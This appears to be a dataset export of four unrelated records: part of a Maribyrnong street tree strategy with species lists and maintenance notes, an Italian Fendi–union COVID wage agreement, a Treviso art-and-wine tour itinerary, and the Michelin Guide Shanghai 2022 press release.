| Olive | | | | | | | | | | | Olea | europaea | 'Sativa' | Olive | | | | | | | | | | | Olea | europaea | 'Picual' | Olive | | | | | | | | | | | Phoenix | canariensis | | Canary Island Palm | | | | | | | | | | | Platanus | occidentalis | | American Sycamore | | | | | | | | | | | Pyrus | ussuriensis | | Manchurian Pear | | | | | | | | | | | Pyrus | calleryana | 'Bradford' | Pear | | | | | | | | | | | Pyrus | calleryana | 'Chanticleer' | Chanticleer | | | | | | | | | | | Pyrus | calleryana | 'Capital' | Pear | | | | | | | | | | | Quercus | rubra | 'Fastigiata' | Red Oak | | | | | | | | | | | Quercus | robur | 'Upright English Oak' | Upright English Oak | | | | | | | | | | | Quercus | robur | 'English Oak' | English Oak | | | | | | | | | | | Quercus | palustris | 'Pringleen' | Green Pillar | | | | | | | | | | | Quercus | palustris | | Pin Oak | | | | | | | | | | | Quercus | canariensis | | Algerian Oak | | | | | | | | | | | Tristaniopsis | laurina | | Water Gum | | | | | | | | | | | Ulmus | parvifolia | | Chinese Elm | | | | | | | | | | | Ulmus | parvifolia | 'Todd' | Chinese Elm | | | | | | | | | | | Waterhousia | floribunda | | Weeping Lillypilly | | | | | | | | | | | Zelkova | serrata | 'Green Vase' | Zelkova | | | | | | | | | | ## Appendix 02 – Non-Preferred Tree Species List | Genus | Species | Cultivar, Variety or Subspecies | Common Name | Intolerant of reactive clay soils | Intolerant of drought | Weed or inappropriate species | Very slow growing | Invasive root system | Produce suckers | Exceptionally large growing species | Thorns or spines | Highly allergenic | |-------------|------------------|---------------------------------|------------------------------|----------------------------------|----------------------|-------------------------------|------------------|---------------------|----------------|------------------------|----------------|------------------| | Acacia | melanoxylon | | Blackwood | ✓ | | | | | | | | | | Arbutus | unedo | | Irish Strawberry Tree | ✓ | | | | | | | | | | Betula | pendula | | Silver Birch | ✓ | ✓ | | | | | | | | | Bursaria | spinosa | 'Macrophylla' | Sweet Bursaria | ✓ | | | | | | | | | | Cinnamomum | camphora | | Camphor Laurel | ✓ | | | | | | | | | | Eucalyptus | leucoxylon | ssp conata | Yellow Gum | ✓ | | | | | | | | | | Eucalyptus | camaldulensis | | River Red Gum | ✓ | | | | | | | | | | Fraxinus | excelsior | 'Aurea' | Golden Ash | ✓ | | | | | | | | | | Gleditsia | triacanthos | | Honey-Locust | ✓ | | | | | | | | | | Lagunaria | patersonii | | Norfolk Island Hibiscus | ✓ | | | | | | | | | | Malus | floribunda | | Japanese Crab Apple | ✓ | | | | | | | | | | Melaleuca | armillaris | | Bracelet Honey Myrtle | ✓ | | | | | | | | | | Melaleuca | linariifolia | | Snow in Summer | ✓ | | | | | | | | | | Melaleuca | stypheloides | | Prickly Paperbark | ✓ | | | | | | | | | | Melaleuca | quinquenervia | | Broad-leaveds Paperbark | ✓ | | | | | | | | | | Pistachio | chinensis | | Chinese Pistachio | ✓ | | | | | | | | | | Robinia | pseudoacacia | 'Frisia' | False Acacia | ✓ | | | | | | | | | | Robinia | pseudoacacia | | False Acacia | ✓ | | | | | | | | | | Salix | spp. | | Willow | ✓ | | | | | | | | | | Schinus | spp. | | Peppercorn | ✓ | | | | | | | | | | Tilia | cordata | | Small-leaved Linden | ✓ | | | | | | | | | | Ulmus | glabra | "Lutescens" | Golden Wynch Elm | ✓ | | | | | | | | | Appendix 03 - Installation Notes Stock Quality Generally all street tree stock must be minimum: - 1.8m tall. - 25mm calliper at 300mm high. - Supplied in a 40cm / 45lt bag. All trees shall be supplied from a Council approved nursery. The trees must have been grown exposed and have been hardened off in the open, be true to species and be the best of their respective kinds. For each tree the canopy and root system must be proportionate to each other and the nominated container size. Each tree is to display a tapered trunk and be self supporting. The supplier must ensure that all trees are free of pests, diseases and pathogens, free of scarring, damaged leaders, abrasions, disfigured knots and fresh cuts of limbs that have not been callused. All trees are to show a vigorous central leader, open branching framework and have well formed open ‘V’ crotches. Trees must be well rooted with well formed sturdy limbs and trunk. All trees are to be free of root circling, ‘J’ roots and have all dead wood and branches removed. Tree Placement Naturestrips Street trees will typically be planted at a minimum density of one tree per property, or at a density suitable to the particular street environment. Wider allotments may accommodate planting with more than one tree. The location of services in the street reserve may not allow trees to be planted at all. Median Plantings Trees will be planted as a single row on narrow medians. The style of housing and existing planting may determine the planting arrangement on wide medians. In areas where an informal style is suitable, trees may be staggered, grouped or planted at irregular spacings. Road Cut-Outs Trees will be planted in road cut-outs in streets with no nature or median strips or where these are too narrow for planting. The density of planting will vary depending on the width of the street and other factors such as the demand, and availability of on-street car parking. Path Cut-Outs Trees will be planted in path cut outs in streets where footpaths are fully paved. The density of planting will vary depending on the width of the footpath and other factors such as the density of tree planting in private gardens. Roundabouts Only trees with clear trunks will be planted in roundabouts. The only other planting considered in roundabouts will be groundcover plants. Water Sensitive Urban Design Street trees may form part of a Water Sensitive Urban Design treatment where they are a component of a complete or whole of street design solution of a major project. Appendix 04 - Maintenance Notes Maintenance Objectives The City of Maribyrnong maintains 27,000 street trees and aims to increase that number to more than 40,000 by 2023. Most trees growing in naturestrips, footpaths and roadways belong to the City of Maribyrnong. Council has the responsibility of managing and maintaining these trees in a healthy and safe condition. The provision and maintenance of street trees is important to the Maribyrnong community. The Maribyrnong City Council – 2012 Annual Community Survey reported: “The importance of the provision and maintenance of street trees increased to its highest recorded level, ranking the service 18th in 2012, up a few places on its ranking of 23rd on 2011.” “Satisfaction with the provision and maintenance of street trees increased measurably in 2012, up 9.5% to 6.68, a level of satisfaction best categorised as “good”. Also the four highest ranked issues from respondents directly related to street tree maintenance. Establishment Period Each newly planted tree will be maintained, including watering, for a period of two years to ensure it is fully established before being placed on Council’s cyclic maintenance program. Maintenance Actions Watering Street trees will be watered for two years following their installation, sufficient to ensure their establishment and healthy and vigorous growth. Mulching All street trees will have a mulch ring of 75mm depth and clear of the trunk maintained throughout the two year establishment period. Pruning Street tree pruning will occur: - To ensure long-term structure and form. - Where trees encroach upon private property. - Where trees are obstructing footpaths, bicycle paths, roads or public lighting. - Where trees are obstructing vehicle access to public areas. - Where trees are obscuring traffic signage, compromising safe sight lines or reducing visibility at intersections. - To provide for clearance requirements around overhead power lines. Tree pruning is conducted as part of Council’s routine maintenance program. Pruning is undertaken to encourage healthy growth and branching structure, to maintain sight lines and to meet a range of clearance requirements. Trees will not be pruned for the following reasons: - To preserve or create views - To reduce shade - To reduce leaf litter - To discourage roosting birds or bats If a resident or property owner wishes a Council-owned tree be pruned, the resident should request Council to provide the service. If a resident or property owner damages a Council tree, makes the tree structurally unsound or reduces the amenity value of the tree, Council may seek reimbursement for all remedial action and for the lost amenity value of the tree. The work standard for pruning will be AS4373 2007, Pruning of Amenity Trees. Fertilising Street trees will be fertilised sufficiently throughout the two year establishment period to ensure their establishment, and healthy and vigorous growth. Appendix 05 - Assessing Tree Condition Useful Life Expectancy The method for assessing the condition of a street tree will be Useful Life Expectancy (ULE) Typical ULE Characteristics <1 year Tree may be dead or mostly dead. Tree may exhibit major structural faults. Tree may be an imminent failure hazard. 1-5 years Tree is exhibiting severe chronic decline. Crown is likely to be less than 50% typical density. Crown may be mostly epicormic growth. Dieback of large limbs is common (large deadwood may have been pruned out). 6-10 years Tree is exhibiting chronic decline. Crown density will be less than typical and epicormic growth is likely to present. The crown may still be mostly entire, but some dieback is likely to be evident. Dieback may include large limbs. 11-20 years Tree not showing symptoms of chronic decline, but growth characteristics are likely to be reduced (bud development, extension growth etc). Tree may be over-mature and senescing. 21-30 years Trees displaying normal growth characteristics. Tree may be growing in restricted environment (eg. Streetscapes) or may be in late maturity. 31-60 years Semi-mature and mature trees exhibiting normal growth characteristics. Juvenile trees in streetscapes. 61+ years Juvenile and semi-mature trees exhibiting normal growth characteristics in parks or open space.
7c8722b2-a583-4df8-93bf-b3c680fc0132
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
243,820
VERBALE DI ACCORDO Oggi, 17 aprile 2020 tra Fendi Italia S.r.l., rappresentata dalla Dr.ssa Laura Osolini, assistita dall’Avv. Massimo Dramis (di seguito, anche la “Società”) e i rappresentanti delle segreterie nazionali della Filcams-CGIL, Fisascat-Cisl, Uiltucs-Uil, rispettivamente in persona dei signori Sig.ri Jeff Nonato, Marco Demurtas e Paolo Proietti (di seguito, congiuntamente, le “OO.SS.”) (di seguito tutti insieme, congiuntamente, le “Parti”) Premesso che: - in data 17 aprile 2020 è stato sottoscritto tra le Parti un verbale di accordo per il ricorso alla Cassa Integrazione Guadagni in deroga ex art. 22 D.L. 18/2020 ed ai sensi del Decreto Interministeriale 24 marzo 2020, con decorrenza del 27 aprile 2020 per le unità locali indicate nell’Allegato 1 al suddetto verbale di accordo (qui di seguito, il “Verbale”); - le Parti ad integrazione di quanto previsto nel Verbale convengono quanto segue: 1) in considerazione del fatto che il trattamento di integrazione salariale spettante ai dipendenti sospesi in C.I.G.D. sarà corrisposto con pagamento diretto dell’Inps, come previsto dall’art. 22, D.L. n. 18/2020, la Società si dichiara disponibile a riconoscere ai propri dipendenti una una tantum “emergenza COVID-19”. Tale una tantum sarà determinata come segue: (a) ai dipendenti addetti alla sede verrà riconosciuto un importo complessivo lordo pari alla differenza tra l’80% della retribuzione lorda oraria e l’importo lordo orario erogabile a titolo di C.I.G.D. per ciascuna ora di C.I.G.D. utilizzata; (b) per i dipendenti addetti ai punti vendita la suddetta una tantum sarà maggiorata, per ciascuna ora di C.I.G.D. utilizzata, di un’ulteriore somma pari all’80% dell’importo medio complessivo lordo mensile delle quote di salario variabile (commissioni) percepite nel periodo marzo 2019 / febbraio 2020, rapportate su base oraria con divisore contrattuale 168. Tale una tantum, che verrà erogata con la mensilità successiva a quella di fruizione della C.I.G.D. ed in base alle relative ore di riduzione/sospensione dell’attività, avrà carattere eccezionale, essendo strettamente connesso al periodo di C.I.G.D. oggetto del presente accordo e, pertanto, non costituirà precedente per eventuali future necessità; 2) la Società riconoscerà per intero i ratei di 13^a e 14^a mensilità, le ferie ed i permessi maturati durante il periodo di C.I.G.D.; 3) i collaboratori saranno collocati in C.I.G.D. dopo aver fruito di eventuali giorni di ferie, ROL e permessi maturati al 31 dicembre 2019 e, su richiesta, di quelli maturati nel corso del corrente anno sino ad oggi disponibili; 4) si conviene che, nel caso in cui si verificassero le condizioni, anche normative, per la riapertura, anche parziale, di una o più Unità, i dipendenti ivi addetti saranno richiamati in servizio e, ove possibile, compatibilmente con le esigenze organizzative e produttive aziendali e di fungibilità professionali, con modalità di rotazione su base verticale. In tal caso, inoltre, la Società continuerà a garantire nei rispetto del Protocollo siglato il 14 marzo 2020 dal Governo e Cgil, Cisl e Uil, tutte le informazioni e i dispositivi di protezione individuale atti a salvaguardare la salute e sicurezza dei lavoratori e dei clienti; 5) relativamente alla sola mensilità di luglio 2020 (la cui eventuale trattenuta per le ore non lavorate si riferirebbe al mese di giugno 2020), nell’ipotesi in cui la Convenzione in tema di anticipazione sociale in favore dei lavoratori destinatari dei trattamenti di integrazione al reddito di cui agli artt. da 19 a 22 del D.L. n. 18/2020 sottoscritta tra le parti sociali, l’ABI e il Ministero del Lavoro non sia stata applicata ai collaboratori entro il 10 luglio 2020, la Società è disponibile a riconoscere a questi ultimi un importo lordo equivalente al trattamento di integrazione salariale lordo del mese, a titolo di anticipazione 13\(^{a}\) mensilità 2020 che verrà detratto al momento dell’erogazione della 13\(^{a}\) stessa. Letto, confermato e sottoscritto La Società Le OO.SS. Palo Premini
<urn:uuid:af7b4ae8-ae84-4458-b9a4-76ce62db0e76>
HuggingFaceFW/finepdfs/tree/main/data/ita_Latn/train
finepdfs
ita_Latn
4,068
L'IMPRESSIONISMO a TREVISO e i Vini del Piave Apertura mostra: 29Ottobre 2016 PROGRAMMA DI MASSIMA LA MOSTRA e TREVISO – Sabato (1 giorno) Ingresso al Museo di Santa Caterina per la visita guidata della mostra "STORIA DELL' IMPRESSIONISMO, i grandi protagonisti da Monet a Renoir, da Van Gogh a Gauguin". A seguire piccolo tour guidato per le vie del centro di Treviso, della durata di un'ora e mezza. Cena e pernottamento in Hotel. L'esposizione permetterà al visitatore di percorrere un cammino tra i capolavori che hanno segnato una delle maggiori rivoluzioni nella storia dell'arte di tutti i tempi, affrontando tutte le tappe principali. PORTOBUFFOLÈ, ODERZO E I VINI DEL PIAVE – Domenica (2° giorno) (80 km) Ore 09.00 incontro con la guida e partenza in bus in direzione di uno dei più bei borghi d'Italia: Portobuffolè. Nato come porto fluviale e nodo commerciale di traffici tra Venezia e la Germania, il suo centro venne rifondato intorno al Mille e in seguito fortificato. Chiamato Septimum de Liquentia perché distante sette miglia dall'antica città di Oderzo. Interessanti da vedere sono: Piazza Maggiore (Piazza Vittorio Emanuele II) dove un tempo vi erano gli uffici pubblici e vi risiedevano le famiglie più importanti, la Dogana, il Monte di Pietà (fine del '400), l'ampia Loggia comunale e il Duomo (fine del XV sec). Da Porta Friuli un bel viale alberato conduce al borgo dei Barcaroli, destinato alla quarantena di merci e viandanti, con i resti del quattrocentesco ospedale dei Battuti. Si entra a Portobuffolè dal ponte che immetteva alla Porta Trevisana e si arriva in Piazza Beccaro, una piazzetta con acciottolato circondata da bei palazzi. Dalla Piazza si arriva in breve tempo presso Museo Casa Gaia, una splendida dimora del Trecento in cui visse fino alla morte, Gaia da Camino. Dopo il brunch in un locale tipico si arriva ad Oderzo: le origini della città risalgono alla prima età del ferro (fine del X secolo a.C.), "Opitergium", nome a sua volta formato dall'unione di opi e terg, parole che in lingua veneta significano "al mercato". Con la riforma dell'imperatore Augusto la città entrò a far parte della X Regio Venetia et Histria. Antichissimo centro di origine paleoveneta, raggiunse il massimo splendore nel I secolo come municipion. Oggi è un'importante città agricola e industriale della Sinistra Piave. Rientro a Treviso con tappa in una cantina dove si producono i vini più famosi del Piave: Merlot, Cabernet Franc, Cabernet Sauvignon, Refosco ed il Raboso. Degustazione dei vini e visita alle vigne. Fine dei servizi. Possibilità di inserire i transfer da e per l'aeroporto o stazione ferroviaria, e tour con Bus Baldoin Viaggi. Quota individuale di partecipazione in camera doppia € 140,00 (per un gruppo di 25 persone) La quota comprende: ingresso alla Mostra con guida, visita guidata della città di Treviso, mezza pensione in hotel ****, visita guidata di Portobuffolè e Oderzo, brunch e degustazione. La quota non comprende: tassa di soggiorno, mance, extra di carattere personale, bevande, trasferimenti, eventuali altri ingressi, assicurazione medico-bagaglio € 5,00, tutto ciò non descritto ne "la quota comprende". Tel. 0422.470678 Fax 0422.479511- E-mail: firstname.lastname@example.org– Sito internet: www.baldoinviaggi.it Certificato UNI EN ISO 9001
<urn:uuid:b4ee2b6d-daa0-47c1-9299-a2977fdccb29>
HuggingFaceFW/finepdfs/tree/main/data/ita_Latn/train
finepdfs
ita_Latn
3,327
Boulogne-Billancourt- November 12, 2021 The MICHELIN Guide Shanghai 2022 is revealed and celebrates One new Three MICHELIN Star restaurant, Taian Table, and the first MICHELIN Green Star The MICHELIN Guide Shanghai 2022 selection is announced today at the Xijiao State Guest Hotel, Shanghai, celebrating 1 new Three MICHELIN Star restaurant, 5 new One MICHELIN Star restaurants and the Bib Gourmand selection. For the first time, the MICHELIN Green Star comes to Shanghai, recognizing and encouraging sustainable gastronomy. The 2022 edition of the MICHELIN Guide Shanghai sees 129 restaurants selected, of which 2 Three MICHELIN Stars, 8 Two MICHELIN Stars, 37 One MICHELIN Star and 21 Bib Gourmand restaurants. "Shanghai plays a very special role within Asia and the world gastronomic scene. Boosted by a strong economic dynamism as well as a unique culinary know-how, Shanghai never ceases to attract the best talents in the world, shaping an innovative and must-see culinary destination," said Gwendal Poullennec, MICHELIN Guide International Director. "In addition to high-level culinary skills perfectly reflected by the addition of a new Three Star restaurant -, our teams have also witnessed an increase in service and sommelier talent." Mr. Poullennec also observed, "In a time when environmental and sustainability requirements demand daily attention from everyone, many restaurants are also demonstrating a growing commitment. By developing many inspiring initiatives, these restaurants are playing an important role in helping to reduce the environmental impact of their menus while promoting the best of local products and encouraging other professionals or food lovers to move forward. We are very proud to highlight these role-model establishments with our MICHELIN Green Star, which makes its debut in Shanghai for the very first time this year" PRESS RELEASE One more innovative restaurant awarded Three MICHELIN Stars Five years into operation, Taian Table is promoted from Two to Three MICHELIN Stars, becoming the second establishment in Shanghai that is worth a special journey. Taian Table enjoys an open space at the far end of an alley on Zhenning Road. Over 20 seats surround an open kitchen where chef Stefan Stiller and his highly collaborative team craft beautiful dishes with top-quality ingredients. Taian Table offers 10- to 12-course menus that are updated every 6 to 8 weeks. The food is well-executed with an innovative cooking style that is sophisticated and original. The consistent quality is as outstanding as its creativity. Ultraviolet by Paul Pairet keeps the highest accolade of Three MICHELIN Stars. Making a reservation on its website is the first step to opening the extraordinary culinary experience offered by the restaurant. A shuttle bus takes customers to a mysterious site at the time and place of the appointment, where they will dive into a multi-layer sensory experience with a tableful of strangers, comprising a 20course meal paired with wine, lighting, visuals, and music. From taste to presentation, every dish is meticulously crafted by chef Paul Pairet, and his team. The experience is further enlivened by the enthusiastic service team. Showcasing excellence in Cantonese, Taizhou, Italian and French cuisines, Bao Li Xuan, Canton 8 (Runan Street), Da Vittorio, Imperial Treasure Fine Chinese Cuisine (Huangpu), Ji Pin Court, L'Atelier de Joël Robuchon, 8 ½ Otto e Mezzo Bombana, and Xin Rong Ji (Nanyang Road) are rated Two MICHELIN Stars for another year. 5 new restaurants awarded One MICHELIN Star Fu 1015 is awarded One MICHELIN Star in the latest selection. Located in a historic low-rise building, Fu 1015 offers local Shanghai food with nostalgic elements in the form of set meals. Fu 1088, promoted to one MICHELIN Star, offers evocative dishes, from Babao spicy sauce, or ham chunks with Yunnan green peas to crab roe Xiao Long Bao. Traditional dishes are authentically preserved thanks to its solid kitchen experience. Its signatures, soya sauce pork and Shanghai smoked fish, are dishes that no diner should miss. Newly opened in 2021 and awarded One MICHELIN Star, Obscura showcases the travelling experience, exotic adventures, and childhood memories of its two chefs through cleverly crafted dishes. Themed "river south, river north", the menu incorporates western culinary techniques into famous regional dishes, with unconventional approaches adding to the dining experience. Oriental Sense & Palate also makes its first appearance in the Guide with one MICHELIN Star. The team originally from Chaoshan offers a gastronomic journey rooted in Chaoshan traditions and invigorated by creativity and finesse. The roasted squab, with interesting textural contrast between tender meat and crispy skin are among its best. Sheng Yong Xing gains one MICHELIN Star for its first opening in Shanghai. Located in No.5 on the Bund, Sheng Yong Xing offers a sensational river view and expertly crafted Beijing dishes from a romantic interior. Its signature roast duck is made using 45-day-old Beijing duck. A large cellar attended by sommelier with a carefully prepared wine pairing guide adds another highlight to the dining experience. In addition, 32 restaurants are awarded one MICHELIN Star for another year, with dishes that embody high quality ingredients and thoughtful culinary techniques. First MICHELIN Green Star for Shanghai The MICHELIN Guide hands out the first MICHELIN Green Star for Shanghai. Awarded to restaurants which stand at the forefront of a more sustainable approach to gastronomy, the MICHELIN Green Star highlights establishments that offer dining experiences combining culinary excellence with outstanding ecofriendly commitments. Green Star restaurants are therefore a source of inspiration, both for keen foodies and the hospitality industry. The First Shanghai MICHELIN Green Star is awarded to Taian Table, which puts sustainability at the heart of its daily operations. They source from sustainable producers and minimize plastic use, food waste and energy consumption. They also recycle whenever possible and urge their vendors to reduce packaging. 20 Bib Gourmand restaurants celebrating affordable gastronomy The 2022 edition recommends 20 restaurants with a Bib Gourmand, including 1 that is new to the selection. The owner and chef of Easeful Cuisine knows how to grasp the essence of ingredients using unassuming techniques and produces homely flavors from the Zhejiang-Jiangsu area. The 20 restaurants in the Bib Gourmand list display lively scenes from city life through comfort food like noodles, and unpretentious cuisine from Shanghai, Guangdong, Zhejiang or other countries, etc. The Bib Gourmand award aims to highlight good quality, good value restaurants – offering a three-course meal for a maximum of RMB 300 per head in Shanghai (drinks not included) and has been hugely popular with our followers. 2022 MICHELIN Young Chef Award and Service Award for Shanghai During the press conference, the MICHELIN Guide is also pleased to unveil two special awards – the Michelin Young Chef Award and the Michelin Service Award. These awards aim to value the professionalism and dedication of catering talents. The MICHELIN Young Chef Award goes to LIANG Yongxuan, Head Chef of Oriental Sense & Palate. The 32-year-old young achiever from Guangdong exhibits solid cooking skills and good quality control over ingredients in dishes from Chaozhou that he knows how to interpret in an authentic way. The MICHELIN Service Award recognizes the precise and well-timed service offered by Sophia JIN from Sheng Yong Xing. Having worked for the Beijing restaurant group for several years, Sophia JIN makes her service an integral part of a memorable and relaxing dining experience. The MICHELIN Guide Shanghai 2022 at a glance: - 129 restaurants including: o 2 restaurants, of which 1 new o 8 restaurants o 37 restaurants, of which 5 new o 1 MICHELIN Green Star restaurant o 20 restaurants, of which 1 new Please find the complete of MICHELIN Guide Shanghai 2022 and Bib Gourmand selection: MICHELIN GUIDE SHANGHAI 2022 = New entry in the Guide N = Promoted Restaurant Michelin, the leading mobility company, is dedicated to sustainably enhancing its clients' mobility; designing and distributing the most suitable tires, services, and solutions for its clients' needs; providing digital services, maps, and guides to help enrich trips and journeys and make them unique experiences; and developing high-technology materials that serve a variety of industries. Headquartered in Clermont-Ferrand, France, Michelin is present in 170 countries, has 123,600 employees and operates 71 tire production facilities which together produced around 170 million tires in 2020. (www.michelin.com) MICHELIN GROUP MEDIA RELATIONS +33 (0) 1 45 66 22 22 7 days a week www.michelin.com @MichelinPress 27 cours de l'Ile Seguin, 92100 Boulogne-Billancourt
<urn:uuid:65f46a5a-1fe4-45ab-a92b-416a0de3745b>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
8,968